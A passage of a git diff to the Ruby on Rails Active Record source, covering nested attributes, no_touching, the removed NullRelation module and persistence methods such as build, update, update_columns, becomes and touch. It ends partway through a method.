+    # Use ActionView::Helpers::FormHelper#fields_for to create form elements for
+    # nested attributes.
+    #
+    # Integration test params should reflect the structure of the form. For
+    # example:
+    #
+    #   post members_path, params: {
+    #     member: {
+    #       name: 'joe',
+    #       posts_attributes: {
+    #         '0' => { title: 'Foo' },
+    #         '1' => { title: 'Bar' }
+    #       }
+    #     }
+    #   }
     module ClassMethods
       REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |key, value| key == "_destroy" || value.blank? } }
 
@@ -275,7 +307,7 @@ module ClassMethods
       # [:allow_destroy]
       #   If true, destroys any members from the attributes hash with a
       #   <tt>_destroy</tt> key and a value that evaluates to +true+
-      #   (eg. 1, '1', true, or 'true'). This option is off by default.
+      #   (e.g. 1, '1', true, or 'true'). This option is false by default.
       # [:reject_if]
       #   Allows you to specify a Proc or a Symbol pointing to a method
       #   that checks whether a record should be built for a certain attribute
@@ -300,11 +332,11 @@ module ClassMethods
       #   nested attributes are going to be used when an associated record already
       #   exists. In general, an existing record may either be updated with the
       #   new set of attribute values or be replaced by a wholly new record
-      #   containing those values. By default the +:update_only+ option is +false+
+      #   containing those values. By default the +:update_only+ option is false
       #   and the nested attributes are used to update the existing record only
       #   if they include the record's <tt>:id</tt> value. Otherwise a new
       #   record will be instantiated and used to replace the existing one.
-      #   However if the +:update_only+ option is +true+, the nested attributes
+      #   However if the +:update_only+ option is true, the nested attributes
       #   are used to update the record's attributes always, regardless of
       #   whether the <tt>:id</tt> is present. The option is ignored for collection
       #   associations.
@@ -340,7 +372,6 @@ def accepts_nested_attributes_for(*attr_names)
       end
 
       private
-
         # Generates a writer method for this association. Serves as a point for
         # accessing the objects in the association. For example, this method
         # could generate the following:
@@ -354,27 +385,26 @@ def accepts_nested_attributes_for(*attr_names)
         # associations are just regular associations.
         def generate_association_writer(association_name, type)
           generated_association_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
-            if method_defined?(:#{association_name}_attributes=)
-              remove_method(:#{association_name}_attributes=)
-            end
+            silence_redefinition_of_method :#{association_name}_attributes=
             def #{association_name}_attributes=(attributes)
+              association = association(:#{association_name})
+              deprecated_associations_api_guard(association, __method__)
               assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)
             end
           eoruby
         end
     end
 
-    # Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? It's
+    # Returns ActiveRecord::AutosaveAssociation#marked_for_destruction? It's
     # used in conjunction with fields_for to build a form element for the
     # destruction of this association.
     #
-    # See ActionView::Helpers::FormHelper::fields_for for more info.
+    # See ActionView::Helpers::FormHelper#fields_for for more info.
     def _destroy
       marked_for_destruction?
     end
 
     private
-
       # Attribute hash keys that should not be assigned as normal attributes.
       # These hash keys are nested attributes implementation details.
       UNASSIGNABLE_KEYS = %w( id _destroy )
@@ -393,10 +423,15 @@ def _destroy
       # update_only is true, and a <tt>:_destroy</tt> key set to a truthy value,
       # then the existing record will be marked for destruction.
       def assign_nested_attributes_for_one_to_one_association(association_name, attributes)
-        options = nested_attributes_options[association_name]
         if attributes.respond_to?(:permitted?)
           attributes = attributes.to_h
         end
+
+        unless attributes.is_a?(Hash)
+          raise ArgumentError, "Hash expected for `#{association_name}` attributes, got #{attributes.class.name}"
+        end
+
+        options = nested_attributes_options[association_name]
         attributes = attributes.with_indifferent_access
         existing_record = send(association_name)
 
@@ -414,7 +449,7 @@ def assign_nested_attributes_for_one_to_one_association(association_name, attrib
             existing_record.assign_attributes(assignable_attributes)
             association(association_name).initialize_attributes(existing_record)
           else
-            method = "build_#{association_name}"
+            method = :"build_#{association_name}"
             if respond_to?(method)
               send(method, assignable_attributes)
             else
@@ -458,7 +493,7 @@ def assign_nested_attributes_for_collection_association(association_name, attrib
         end
 
         unless attributes_collection.is_a?(Hash) || attributes_collection.is_a?(Array)
-          raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})"
+          raise ArgumentError, "Hash or Array expected for `#{association_name}` attributes, got #{attributes_collection.class.name}"
         end
 
         check_record_limit!(options[:limit], attributes_collection)
@@ -477,11 +512,11 @@ def assign_nested_attributes_for_collection_association(association_name, attrib
         existing_records = if association.loaded?
           association.target
         else
-          attribute_ids = attributes_collection.map { |a| a["id"] || a[:id] }.compact
+          attribute_ids = attributes_collection.filter_map { |a| a["id"] || a[:id] }
           attribute_ids.empty? ? [] : association.scope.where(association.klass.primary_key => attribute_ids)
         end
 
-        attributes_collection.each do |attributes|
+        records = attributes_collection.map do |attributes|
           if attributes.respond_to?(:permitted?)
             attributes = attributes.to_h
           end
@@ -489,26 +524,29 @@ def assign_nested_attributes_for_collection_association(association_name, attrib
 
           if attributes["id"].blank?
             unless reject_new_record?(association_name, attributes)
-              association.build(attributes.except(*UNASSIGNABLE_KEYS))
+              association.reader.build(attributes.except(*UNASSIGNABLE_KEYS))
             end
-          elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes["id"].to_s }
+          elsif existing_record = find_record_by_id(association.klass, existing_records, attributes["id"])
             unless call_reject_if(association_name, attributes)
               # Make sure we are operating on the actual object which is in the association's
               # proxy_target array (either by finding it, or adding it if not found)
               # Take into account that the proxy_target may have changed due to callbacks
-              target_record = association.target.detect { |record| record.id.to_s == attributes["id"].to_s }
+              target_record = find_record_by_id(association.klass, association.target, attributes["id"])
               if target_record
                 existing_record = target_record
               else
-                association.add_to_target(existing_record, :skip_callbacks)
+                association.add_to_target(existing_record, skip_callbacks: true)
               end
 
               assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
+              existing_record
             end
           else
             raise_nested_attributes_record_not_found!(association_name, attributes["id"])
           end
         end
+
+        association.nested_attributes_target = records
       end
 
       # Takes in a limit and checks if the attributes_collection has too many
@@ -584,5 +622,14 @@ def raise_nested_attributes_record_not_found!(association_name, record_id)
         raise RecordNotFound.new("Couldn't find #{model} with ID=#{record_id} for #{self.class.name} with ID=#{id}",
                                  model, "id", record_id)
       end
+
+      def find_record_by_id(klass, records, id)
+        if klass.composite_primary_key?
+          id = Array(id).map(&:to_s)
+          records.find { |record| Array(record.id).map(&:to_s) == id }
+        else
+          records.find { |record| record.id.to_s == id.to_s }
+        end
+      end
   end
 end
diff --git a/activerecord/lib/active_record/no_touching.rb b/activerecord/lib/active_record/no_touching.rb
index 4059020e2573f..d0834691bfdf7 100644
--- a/activerecord/lib/active_record/no_touching.rb
+++ b/activerecord/lib/active_record/no_touching.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record No Touching
   module NoTouching
     extend ActiveSupport::Concern
 
     module ClassMethods
-      # Lets you selectively disable calls to `touch` for the
+      # Lets you selectively disable calls to +touch+ for the
       # duration of a block.
       #
       # ==== Examples
@@ -24,23 +26,30 @@ def no_touching(&block)
     end
 
     class << self
-      def apply_to(klass) #:nodoc:
+      def apply_to(klass) # :nodoc:
         klasses.push(klass)
         yield
       ensure
         klasses.pop
       end
 
-      def applied_to?(klass) #:nodoc:
+      def applied_to?(klass) # :nodoc:
         klasses.any? { |k| k >= klass }
       end
 
       private
         def klasses
-          Thread.current[:no_touching_classes] ||= []
+          ActiveSupport::IsolatedExecutionState[:active_record_no_touching_classes] ||= []
         end
     end
 
+    # Returns +true+ if the class has +no_touching+ set, +false+ otherwise.
+    #
+    #   Project.no_touching do
+    #     Project.first.no_touching? # true
+    #     Message.first.no_touching? # false
+    #   end
+    #
     def no_touching?
       NoTouching.applied_to?(self.class)
     end
@@ -49,7 +58,7 @@ def touch_later(*) # :nodoc:
       super unless no_touching?
     end
 
-    def touch(*) # :nodoc:
+    def touch(*, **) # :nodoc:
       super unless no_touching?
     end
   end
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
deleted file mode 100644
index 2bb7ed6d5ed2f..0000000000000
--- a/activerecord/lib/active_record/null_relation.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-module ActiveRecord
-  module NullRelation # :nodoc:
-    def pluck(*column_names)
-      []
-    end
-
-    def delete_all(_conditions = nil)
-      0
-    end
-
-    def update_all(_updates)
-      0
-    end
-
-    def delete(_id_or_array)
-      0
-    end
-
-    def empty?
-      true
-    end
-
-    def none?
-      true
-    end
-
-    def any?
-      false
-    end
-
-    def one?
-      false
-    end
-
-    def many?
-      false
-    end
-
-    def to_sql
-      ""
-    end
-
-    def calculate(operation, _column_name)
-      case operation
-      when :count, :sum
-        group_values.any? ? Hash.new : 0
-      when :average, :minimum, :maximum
-        group_values.any? ? Hash.new : nil
-      end
-    end
-
-    def exists?(_conditions = :none)
-      false
-    end
-
-    def or(other)
-      other.spawn
-    end
-
-    private
-
-      def exec_queries
-        @records = [].freeze
-      end
-  end
-end
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index 7ceb7d1a55cca..1802d79e6b737 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+require "active_record/insert_all"
+
 module ActiveRecord
   # = Active Record \Persistence
   module Persistence
@@ -53,6 +57,36 @@ def create!(attributes = nil, &block)
         end
       end
 
+      # Builds an object (or multiple objects) and returns either the built object or a list of built
+      # objects.
+      #
+      # The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
+      # attributes on the objects that are to be built.
+      #
+      # ==== Examples
+      #   # Build a single new object
+      #   User.build(first_name: 'Jamie')
+      #
+      #   # Build an Array of new objects
+      #   User.build([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }])
+      #
+      #   # Build a single object and pass it into a block to set other attributes.
+      #   User.build(first_name: 'Jamie') do |u|
+      #     u.is_admin = false
+      #   end
+      #
+      #   # Building an Array of new objects using a block, where the block is executed for each object:
+      #   User.build([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }]) do |u|
+      #     u.is_admin = false
+      #   end
+      def build(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| build(attr, &block) }
+        else
+          new(attributes, &block)
+        end
+      end
+
       # Given an attributes hash, +instantiate+ returns a new instance of
       # the appropriate class. Accepts only keys as strings.
       #
@@ -65,11 +99,220 @@ def create!(attributes = nil, &block)
       # how this "single-table" inheritance mapping is implemented.
       def instantiate(attributes, column_types = {}, &block)
         klass = discriminate_class_for_record(attributes)
-        attributes = klass.attributes_builder.build_from_database(attributes, column_types)
-        klass.allocate.init_with("attributes" => attributes, "new_record" => false, &block)
+        instantiate_instance_of(klass, attributes, column_types, &block)
+      end
+
+      # Updates an object (or multiple objects) and saves it to the database, if validations pass.
+      # The resulting object is returned whether the object was saved successfully to the database or not.
+      #
+      # ==== Parameters
+      #
+      # * +id+ - This should be the id or an array of ids to be updated.
+      #   Optional argument, defaults to all records in the relation.
+      # * +attributes+ - This should be a hash of attributes or an array of hashes.
+      #
+      # ==== Examples
+      #
+      #   # Updates one record
+      #   Person.update(15, user_name: "Samuel", group: "expert")
+      #
+      #   # Updates multiple records
+      #   people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
+      #   Person.update(people.keys, people.values)
+      #
+      #   # Updates multiple records from the result of a relation
+      #   people = Person.where(group: "expert")
+      #   people.update(group: "masters")
+      #
+      # Note: Updating a large number of records will run an UPDATE
+      # query for each record, which may cause a performance issue.
+      # When running callbacks is not needed for each record update,
+      # it is preferred to use {update_all}[rdoc-ref:Relation#update_all]
+      # for updating all records in a single query.
+      def update(id = :all, attributes)
+        if id.is_a?(Array)
+          if id.any?(ActiveRecord::Base)
+            raise ArgumentError,
+              "You are passing an array of ActiveRecord::Base instances to `update`. " \
+              "Please pass the ids of the objects by calling `pluck(:id)` or `map(&:id)`."
+          end
+          id.map { |one_id| find(one_id) }.each_with_index { |object, idx|
+            object.update(attributes[idx])
+          }
+        elsif id == :all
+          all.each { |record| record.update(attributes) }
+        else
+          if ActiveRecord::Base === id
+            raise ArgumentError,
+              "You are passing an instance of ActiveRecord::Base to `update`. " \
+              "Please pass the id of the object by calling `.id`."
+          end
+          object = find(id)
+          object.update(attributes)
+          object
+        end
+      end
+
+      # Updates the object (or multiple objects) just like #update but calls #update! instead
+      # of +update+, so an exception is raised if the record is invalid and saving will fail.
+      def update!(id = :all, attributes)
+        if id.is_a?(Array)
+          if id.any?(ActiveRecord::Base)
+            raise ArgumentError,
+              "You are passing an array of ActiveRecord::Base instances to `update!`. " \
+              "Please pass the ids of the objects by calling `pluck(:id)` or `map(&:id)`."
+          end
+          id.map { |one_id| find(one_id) }.each_with_index { |object, idx|
+            object.update!(attributes[idx])
+          }
+        elsif id == :all
+          all.each { |record| record.update!(attributes) }
+        else
+          if ActiveRecord::Base === id
+            raise ArgumentError,
+              "You are passing an instance of ActiveRecord::Base to `update!`. " \
+              "Please pass the id of the object by calling `.id`."
+          end
+          object = find(id)
+          object.update!(attributes)
+          object
+        end
+      end
+
+      # Accepts a list of attribute names to be used in the WHERE clause
+      # of SELECT / UPDATE / DELETE queries and in the ORDER BY clause for +#first+ and +#last+ finder methods.
+      #
+      #   class Developer < ActiveRecord::Base
+      #     query_constraints :company_id, :id
+      #   end
+      #
+      #   developer = Developer.first
+      #   # SELECT "developers".* FROM "developers" ORDER BY "developers"."company_id" ASC, "developers"."id" ASC LIMIT 1
+      #   developer.inspect # => #<Developer id: 1, company_id: 1, ...>
+      #
+      #   developer.update!(name: "Nikita")
+      #   # UPDATE "developers" SET "name" = 'Nikita' WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+      #
+      #   # It is possible to update an attribute used in the query_constraints clause:
+      #   developer.update!(company_id: 2)
+      #   # UPDATE "developers" SET "company_id" = 2 WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+      #
+      #   developer.name = "Bob"
+      #   developer.save!
+      #   # UPDATE "developers" SET "name" = 'Bob' WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+      #
+      #   developer.destroy!
+      #   # DELETE FROM "developers" WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+      #
+      #   developer.delete
+      #   # DELETE FROM "developers" WHERE "developers"."company_id" = 1 AND "developers"."id" = 1
+      #
+      #   developer.reload
+      #   # SELECT "developers".* FROM "developers" WHERE "developers"."company_id" = 1 AND "developers"."id" = 1 LIMIT 1
+      def query_constraints(*columns_list)
+        raise ArgumentError, "You must specify at least one column to be used in querying" if columns_list.empty?
+
+        @query_constraints_list = columns_list.map(&:to_s)
+        @has_query_constraints = @query_constraints_list
+      end
+
+      def has_query_constraints? # :nodoc:
+        @has_query_constraints
+      end
+
+      def query_constraints_list # :nodoc:
+        @query_constraints_list ||= if base_class? || primary_key != base_class.primary_key
+          primary_key if primary_key.is_a?(Array)
+        else
+          base_class.query_constraints_list
+        end
+      end
+
+      # Returns an array of column names to be used in queries. The source of column
+      # names is derived from +query_constraints_list+ or +primary_key+. This method
+      # is for internal use when the primary key is to be treated as an array.
+      def composite_query_constraints_list # :nodoc:
+        @composite_query_constraints_list ||= query_constraints_list || Array(primary_key)
+      end
+
+      def _insert_record(connection, values, returning) # :nodoc:
+        primary_key = self.primary_key
+        primary_key_value = nil
+
+        if prefetch_primary_key? && primary_key
+          values[primary_key] ||= begin
+            primary_key_value = next_sequence_value
+            _default_attributes[primary_key].with_cast_value(primary_key_value)
+          end
+        end
+
+        im = Arel::InsertManager.new(arel_table)
+
+        if values.empty?
+          im.insert(connection.empty_insert_statement_value(primary_key))
+        else
+          im.insert(values.transform_keys { |name| arel_table[name] })
+        end
+
+        connection.insert(
+          im, "#{self} Create", primary_key || false, primary_key_value,
+          returning: returning
+        )
+      end
+
+      def _update_record(values, constraints) # :nodoc:
+        constraints = constraints.map { |name, value| predicate_builder[name, value] }
+
+        default_constraint = build_default_constraint
+        constraints << default_constraint if default_constraint
+
+        if current_scope = self.global_current_scope
+          constraints << current_scope.where_clause.ast
+        end
+
+        um = Arel::UpdateManager.new(arel_table)
+        um.set(values.transform_keys { |name| arel_table[name] })
+        um.wheres = constraints
+
+        with_connection do |c|
+          c.update(um, "#{self} Update")
+        end
+      end
+
+      def _delete_record(constraints) # :nodoc:
+        constraints = constraints.map { |name, value| predicate_builder[name, value] }
+
+        default_constraint = build_default_constraint
+        constraints << default_constraint if default_constraint
+
+        if current_scope = self.global_current_scope
+          constraints << current_scope.where_clause.ast
+        end
+
+        dm = Arel::DeleteManager.new(arel_table)
+        dm.wheres = constraints
+
+        with_connection do |c|
+          c.delete(dm, "#{self} Destroy")
+        end
       end
 
       private
+        def inherited(subclass)
+          super
+          subclass.class_eval do
+            @_query_constraints_list = nil
+            @has_query_constraints = false
+          end
+        end
+
+        # Given a class, an attributes hash, +instantiate_instance_of+ returns a
+        # new instance of the class. Accepts only keys as strings.
+        def instantiate_instance_of(klass, attributes, column_types = {}, &block)
+          attributes = klass.attributes_builder.build_from_database(attributes, column_types)
+          klass.allocate.init_with_attributes(attributes, &block)
+        end
+
         # Called by +instantiate+ to decide which class to use for a new
         # record instance.
         #
@@ -78,28 +321,51 @@ def instantiate(attributes, column_types = {}, &block)
         def discriminate_class_for_record(record)
           self
         end
+
+        # Called by +_update_record+ and +_delete_record+
+        # to build `where` clause from default scopes.
+        # Skips empty scopes.
+        def build_default_constraint
+          return unless default_scopes?(all_queries: true)
+
+          default_where_clause = default_scoped(all_queries: true).where_clause
+          default_where_clause.ast unless default_where_clause.empty?
+        end
     end
 
     # Returns true if this object hasn't been saved yet -- that is, a record
     # for the object doesn't exist in the database yet; otherwise, returns false.
     def new_record?
-      sync_with_transaction_state
       @new_record
     end
 
+    # Returns true if this object was just created -- that is, prior to the last
+    # update or delete, the object didn't exist in the database and new_record? would have
+    # returned true.
+    def previously_new_record?
+      @previously_new_record
+    end
+
+    # Returns true if this object was previously persisted but now it has been deleted.
+    def previously_persisted?
+      !new_record? && destroyed?
+    end
+
     # Returns true if this object has been destroyed, otherwise returns false.
     def destroyed?
-      sync_with_transaction_state
       @destroyed
     end
 
     # Returns true if the record is persisted, i.e. it's not a new record and it was
     # not destroyed, otherwise returns false.
     def persisted?
-      sync_with_transaction_state
       !(@new_record || @destroyed)
     end
 
+    ##
+    # :call-seq:
+    #   save(**options)
+    #
     # Saves the model.
     #
     # If the model is new, a record gets created in the database, otherwise
@@ -121,12 +387,16 @@ def persisted?
     #
     # Attributes marked as readonly are silently ignored if the record is
     # being updated.
-    def save(*args)
-      create_or_update(*args)
+    def save(**options, &block)
+      create_or_update(**options, &block)
     rescue ActiveRecord::RecordInvalid
       false
     end
 
+    ##
+    # :call-seq:
+    #   save!(**options)
+    #
     # Saves the model.
     #
     # If the model is new, a record gets created in the database, otherwise
@@ -150,8 +420,8 @@ def save(*args)
     # being updated.
     #
     # Unless an error is raised, returns true.
-    def save!(*args)
-      create_or_update(*args) || raise(RecordNotSaved.new("Failed to save the record", self))
+    def save!(**options, &block)
+      create_or_update(**options, &block) || raise(RecordNotSaved.new("Failed to save the record", self))
     end
 
     # Deletes the record in the database and freezes this instance to
@@ -165,10 +435,11 @@ def save!(*args)
     #
     # To enforce the object's +before_destroy+ and +after_destroy+
     # callbacks or any <tt>:dependent</tt> association
-    # options, use <tt>#destroy</tt>.
+    # options, use #destroy.
     def delete
-      self.class.delete(id) if persisted?
+      _delete_row if persisted?
       @destroyed = true
+      @previously_new_record = false
       freeze
     end
 
@@ -182,13 +453,9 @@ def delete
     def destroy
       _raise_readonly_record_error if readonly?
       destroy_associations
-      self.class.connection.add_transaction_record(self)
-      @_trigger_destroy_callback = if persisted?
-        destroy_row > 0
-      else
-        true
-      end
+      @_trigger_destroy_callback ||= persisted? && destroy_row > 0
       @destroyed = true
+      @previously_new_record = false
       freeze
     end
 
@@ -204,33 +471,42 @@ def destroy!
     end
 
     # Returns an instance of the specified +klass+ with the attributes of the
-    # current record. This is mostly useful in relation to single-table
-    # inheritance structures where you want a subclass to appear as the
+    # current record. This is mostly useful in relation to single table
+    # inheritance (STI) structures where you want a subclass to appear as the
     # superclass. This can be used along with record identification in
     # Action Pack to allow, say, <tt>Client < Company</tt> to do something
     # like render <tt>partial: @client.becomes(Company)</tt> to render that
     # instance using the companies/company partial instead of clients/client.
     #
     # Note: The new instance will share a link to the same attributes as the original class.
-    # Therefore the sti column value will still be the same.
+    # Therefore the STI column value will still be the same.
     # Any change to the attributes on either instance will affect both instances.
-    # If you want to change the sti column as well, use #becomes! instead.
+    # This includes any attribute initialization done by the new instance.
+    #
+    # If you want to change the STI column as well, use #becomes! instead.
     def becomes(klass)
-      became = klass.new
-      became.instance_variable_set("@attributes", @attributes)
-      became.instance_variable_set("@mutation_tracker", @mutation_tracker) if defined?(@mutation_tracker)
-      became.instance_variable_set("@changed_attributes", attributes_changed_by_setter)
-      became.instance_variable_set("@new_record", new_record?)
-      became.instance_variable_set("@destroyed", destroyed?)
-      became.errors.copy!(errors)
+      return clone if self.class == klass
+
+      became = klass.allocate
+
+      became.send(:initialize) do |becoming|
+        @attributes.reverse_merge!(becoming.instance_variable_get(:@attributes))
+        becoming.instance_variable_set(:@attributes, @attributes)
+        becoming.instance_variable_set(:@mutations_from_database, @mutations_from_database ||= nil)
+        becoming.instance_variable_set(:@new_record, new_record?)
+        becoming.instance_variable_set(:@previously_new_record, previously_new_record?)
+        becoming.instance_variable_set(:@destroyed, destroyed?)
+        becoming.errors.copy!(errors)
+      end
+
       became
     end
 
-    # Wrapper around #becomes that also changes the instance's sti column value.
+    # Wrapper around #becomes that also changes the instance's STI column value.
     # This is especially useful if you want to persist the changed class in your
     # database.
     #
-    # Note: The old instance's sti column value will be changed too, as both objects
+    # Note: The old instance's STI column value will be changed too, as both objects
     # share the same set of attributes.
     def becomes!(klass)
       became = becomes(klass)
@@ -250,7 +526,7 @@ def becomes!(klass)
     # * updated_at/updated_on column is updated if that column is available.
     # * Updates all the attributes that are dirty in this object.
     #
-    # This method raises an ActiveRecord::ActiveRecordError  if the
+    # This method raises an ActiveRecord::ActiveRecordError if the
     # attribute is marked as readonly.
     #
     # Also see #update_column.
@@ -259,11 +535,29 @@ def update_attribute(name, value)
       verify_readonly_attribute(name)
       public_send("#{name}=", value)
 
-      if has_changes_to_save?
-        save(validate: false)
-      else
-        true
-      end
+      save(validate: false)
+    end
+
+    # Updates a single attribute and saves the record.
+    # This is especially useful for boolean flags on existing records. Also note that
+    #
+    # * Validation is skipped.
+    # * \Callbacks are invoked.
+    # * updated_at/updated_on column is updated if that column is available.
+    # * Updates all the attributes that are dirty in this object.
+    #
+    # This method raises an ActiveRecord::ActiveRecordError if the
+    # attribute is marked as readonly.
+    #
+    # If any of the <tt>before_*</tt> callbacks throws +:abort+ the action is cancelled
+    # and #update_attribute! raises ActiveRecord::RecordNotSaved. See
+    # ActiveRecord::Callbacks for further details.
+    def update_attribute!(name, value)
+      name = name.to_s
+      verify_readonly_attribute(name)
+      public_send("#{name}=", value)
+
+      save!(validate: false)
     end
 
     # Updates the attributes of the model from the passed-in hash and saves the
@@ -278,8 +572,6 @@ def update(attributes)
       end
     end
 
-    alias update_attributes update
-
     # Updates its receiver just like #update but calls #save! instead
     # of +save+, so an exception is raised if the record is invalid and saving will fail.
     def update!(attributes)
@@ -291,11 +583,9 @@ def update!(attributes)
       end
     end
 
-    alias update_attributes! update!
-
     # Equivalent to <code>update_columns(name => value)</code>.
-    def update_column(name, value)
-      update_columns(name => value)
+    def update_column(name, value, touch: nil)
+      update_columns(name => value, touch: touch)
     end
 
     # Updates the attributes directly in the database issuing an UPDATE SQL
@@ -309,26 +599,57 @@ def update_column(name, value)
     #
     # * \Validations are skipped.
     # * \Callbacks are skipped.
-    # * +updated_at+/+updated_on+ are not updated.
+    # * +updated_at+/+updated_on+ are updated if the +touch+ option is set to +true+.
     # * However, attributes are serialized with the same rules as ActiveRecord::Relation#update_all
     #
     # This method raises an ActiveRecord::ActiveRecordError when called on new
     # objects, or when at least one of the attributes is marked as readonly.
+    #
+    # ==== Parameters
+    #
+    # * <tt>:touch</tt> option - Touch the timestamp columns when updating.
+    # * If attribute names are passed, they are updated along with +updated_at+/+updated_on+ attributes.
+    #
+    # ==== Examples
+    #
+    #   # Update a single attribute.
+    #   user.update_columns(last_request_at: Time.current)
+    #
+    #   # Update with touch option.
+    #   user.update_columns(last_request_at: Time.current, touch: true)
+
     def update_columns(attributes)
       raise ActiveRecordError, "cannot update a new record" if new_record?
       raise ActiveRecordError, "cannot update a destroyed record" if destroyed?
+      _raise_readonly_record_error if readonly?
 
-      attributes.each_key do |key|
-        verify_readonly_attribute(key.to_s)
+      attributes = attributes.transform_keys do |key|
+        name = key.to_s
+        name = self.class.attribute_aliases[name] || name
+        verify_readonly_attribute(name) || name
       end
 
-      updated_count = self.class.unscoped.where(self.class.primary_key => id).update_all(attributes)
+      touch = attributes.delete("touch")
+      if touch
+        names = touch if touch != true
+        names = Array.wrap(names)
+        options = names.extract_options!
+        touch_updates = self.class.touch_attributes_with_time(*names, **options)
+        attributes.with_defaults!(touch_updates) unless touch_updates.empty?
+      end
 
-      attributes.each do |k, v|
-        raw_write_attribute(k, v)
+      update_constraints = _query_constraints_hash
+      attributes = attributes.each_with_object({}) do |(k, v), h|
+        h[k] = @attributes.write_cast_value(k, v)
+        clear_attribute_change(k)
       end
 
-      updated_count == 1
+      affected_rows = self.class._update_record(
+        attributes,
+        update_constraints
+      )
+
+      affected_rows == 1
     end
 
     # Initializes +attribute+ to zero if +nil+ and adds the value passed as +by+ (default is 1).
@@ -343,14 +664,21 @@ def increment(attribute, by = 1)
     # Wrapper around #increment that writes the update to the database.
     # Only +attribute+ is updated; the record itself is not saved.
     # This means that any other modified attributes will still be dirty.
-    # Validations and callbacks are skipped. Supports the `touch` option from
+    # Validations and callbacks are skipped. Supports the +touch+ option from
     # +update_counters+, see that for more.
+    #
+    # This method raises an ActiveRecord::ActiveRecordError when called on new
+    # objects, or when at least one of the attributes is marked as readonly.
+    #
     # Returns +self+.
     def increment!(attribute, by = 1, touch: nil)
+      raise ActiveRecordError, "cannot update a new record" if new_record?
+      raise ActiveRecordError, "cannot update a destroyed record" if destroyed?
+
       increment(attribute, by)
-      change = public_send(attribute) - (attribute_in_database(attribute.to_s) || 0)
+      change = public_send(attribute) - (public_send(:"#{attribute}_in_database") || 0)
       self.class.update_counters(id, attribute => change, touch: touch)
-      clear_attribute_change(attribute) # eww
+      public_send(:"clear_#{attribute}_change")
       self
     end
 
@@ -364,7 +692,7 @@ def decrement(attribute, by = 1)
     # Wrapper around #decrement that writes the update to the database.
     # Only +attribute+ is updated; the record itself is not saved.
     # This means that any other modified attributes will still be dirty.
-    # Validations and callbacks are skipped. Supports the `touch` option from
+    # Validations and callbacks are skipped. Supports the +touch+ option from
     # +update_counters+, see that for more.
     # Returns +self+.
     def decrement!(attribute, by = 1, touch: nil)
@@ -445,17 +773,19 @@ def toggle!(attribute)
     #   end
     #
     def reload(options = nil)
-      self.class.connection.clear_query_cache
+      self.class.connection_pool.clear_query_cache
 
-      fresh_object =
-        if options && options[:lock]
-          self.class.unscoped { self.class.lock(options[:lock]).find(id) }
-        else
-          self.class.unscoped { self.class.find(id) }
-        end
+      fresh_object = if apply_scoping?(options)
+        _find_record((options || {}).merge(all_queries: true))
+      else
+        self.class.unscoped { _find_record(options) }
+      end
 
-      @attributes = fresh_object.instance_variable_get("@attributes")
+      @association_cache = fresh_object.instance_variable_get(:@association_cache)
+      @association_cache.each_value { |association| association.owner = self }
+      @attributes = fresh_object.instance_variable_get(:@attributes)
       @new_record = false
+      @previously_new_record = false
       self
     end
 
@@ -494,111 +824,178 @@ def reload(options = nil)
     #   ball.touch(:updated_at)   # => raises ActiveRecordError
     #
     def touch(*names, time: nil)
-      unless persisted?
-        raise ActiveRecordError, <<-MSG.squish
-          cannot touch on a new or destroyed record object. Consider using
-          persisted?, new_record?, or destroyed? before touching
-        MSG
+      _raise_record_not_touched_error unless persisted?
+      _raise_readonly_record_error if readonly?
+
+      attribute_names = timestamp_attributes_for_update_in_model
+      attribute_names = (attribute_names | names).map! do |name|
+        name = name.to_s
+        name = self.class.attribute_aliases[name] || name
+        verify_readonly_attribute(name)
+        name
+      end
+
+      unless attribute_names.empty?
+        affected_rows = _touch_row(attribute_names, time)
+        @_trigger_update_callback = affected_rows == 1
+      else
+        true
+      end
+    end
+
+    private
+      def init_internals
+        super
+        @_trigger_destroy_callback = @_trigger_update_callback = nil
+        @previously_new_record = false
       end
 
-      time ||= current_time_from_proper_timezone
-      attributes = timestamp_attributes_for_update_in_model
-      attributes.concat(names)
+      def strict_loaded_associations
+        @association_cache.find_all do |_, assoc|
+          assoc.owner.strict_loading? && !assoc.owner.strict_loading_n_plus_one_only?
+        end.map(&:first)
+      end
 
-      unless attributes.empty?
-        changes = {}
+      def _find_record(options)
+        all_queries = options ? options[:all_queries] : nil
+        base = self.class.all(all_queries: all_queries).preload(strict_loaded_associations)
 
-        attributes.each do |column|
-          column = column.to_s
-          changes[column] = write_attribute(column, time)
+        if options && options[:lock]
+          base.lock(options[:lock]).find_by!(_in_memory_query_constraints_hash)
+        else
+          base.find_by!(_in_memory_query_constraints_hash)
         end
+      end
 
-        primary_key = self.class.primary_key
-        scope = self.class.unscoped.where(primary_key => _read_attribute(primary_key))
+      def _in_memory_query_constraints_hash
+        if self.class.query_constraints_list.nil?
+          { @primary_key => id }
+        else
+          self.class.query_constraints_list.index_with do |column_name|
+            attribute(column_name)
+          end
+        end
+      end
+
+      def apply_scoping?(options)
+        !(options && options[:unscoped]) &&
+          (self.class.default_scopes?(all_queries: true) || self.class.global_current_scope)
+      end
 
-        if locking_enabled?
-          locking_column = self.class.locking_column
-          scope = scope.where(locking_column => _read_attribute(locking_column))
-          changes[locking_column] = increment_lock
+      def _query_constraints_hash
+        if self.class.query_constraints_list.nil?
